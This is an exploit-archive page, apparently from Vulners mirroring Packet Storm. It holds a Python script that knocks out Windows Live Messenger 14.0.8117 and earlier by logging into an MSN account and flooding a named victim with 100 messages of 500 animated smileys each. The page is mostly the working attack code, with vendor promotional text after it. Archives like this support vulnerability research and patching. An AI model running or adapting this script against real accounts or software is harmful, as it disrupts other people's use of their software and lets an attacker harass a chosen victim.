Lucene search
K

Windows Live Messenger 14.0.8117 Denial Of Service

🗓️ 13 Aug 2010 00:00:00Reported by TheLeaderType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

Windows Live Messenger Denial of Service attack through specially crafted messages containing a large number of animation

Code
`# Exploit Title: Windows Live Messenger <= 14.0.8117 animation remote Denial of Service  
# Date: 11/08/2010  
# Author: TheLeader  
# Email: gsog2009 [a7] hotmail [d0t] com  
# Software Link: http://explore.live.com/windows-live-messenger  
# Version: 14.0.8117 and prior  
# Tested on: Windows 7 x86  
  
# msnlib required: http://blitiri.com.ar/p/msnlib/  
# Greets: forums.hacking.org.il - <3UGUYS  
# SP. thx goes to Alberto <albertito [a7] blitiri [d0t] com [d0t] ar> for  
# the msnlib library / Original msnbot example (that I modded =] )  
  
# Description:  
# Windows Live Messenger is prone to a Denial of Service attack. By sending  
# specially crafted messages that contain a large number of animations ("Smileys"),  
# it is possible to make WLM consume large amounts of memory and CPU while  
# it attempts to render the animated images, causing it to stop responding.  
  
import sys  
import time  
import select  
import socket  
import thread  
import msnlib  
import msncb  
  
payload = ":'(" * 500  
  
m = msnlib.msnd()  
m.cb = msncb.cb()  
  
def do_work():  
time.sleep(15)  
  
for i in range(100):  
print m.sendmsg(victim, payload)  
  
time.sleep(30)  
quit()  
  
  
try:  
m.email = sys.argv[1]  
m.pwd = sys.argv[2]  
victim = sys.argv[3]  
except:  
print "Usage: msnkeep.py account password victim_account"  
sys.exit(1)  
  
m.login()  
m.sync()  
  
m.change_status("online")  
  
def quit():  
try:  
m.disconnect()  
except:  
pass  
sys.exit(0)  
  
thread.start_new_thread(do_work, ())  
  
while 1:  
t = m.pollable()  
infd = t[0]  
outfd = t[1]  
  
try:  
fds = select.select(infd, outfd, [], 0)  
except:  
quit()  
  
for i in fds[0] + fds[1]:  
try:  
m.read(i)  
except ('SocketError', socket.error), err:  
if i != m:  
m.close(i)  
else:  
quit()  
  
time.sleep(0.01)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Aug 2010 00:00Current
7.4High risk
Vulners AI Score7.4
22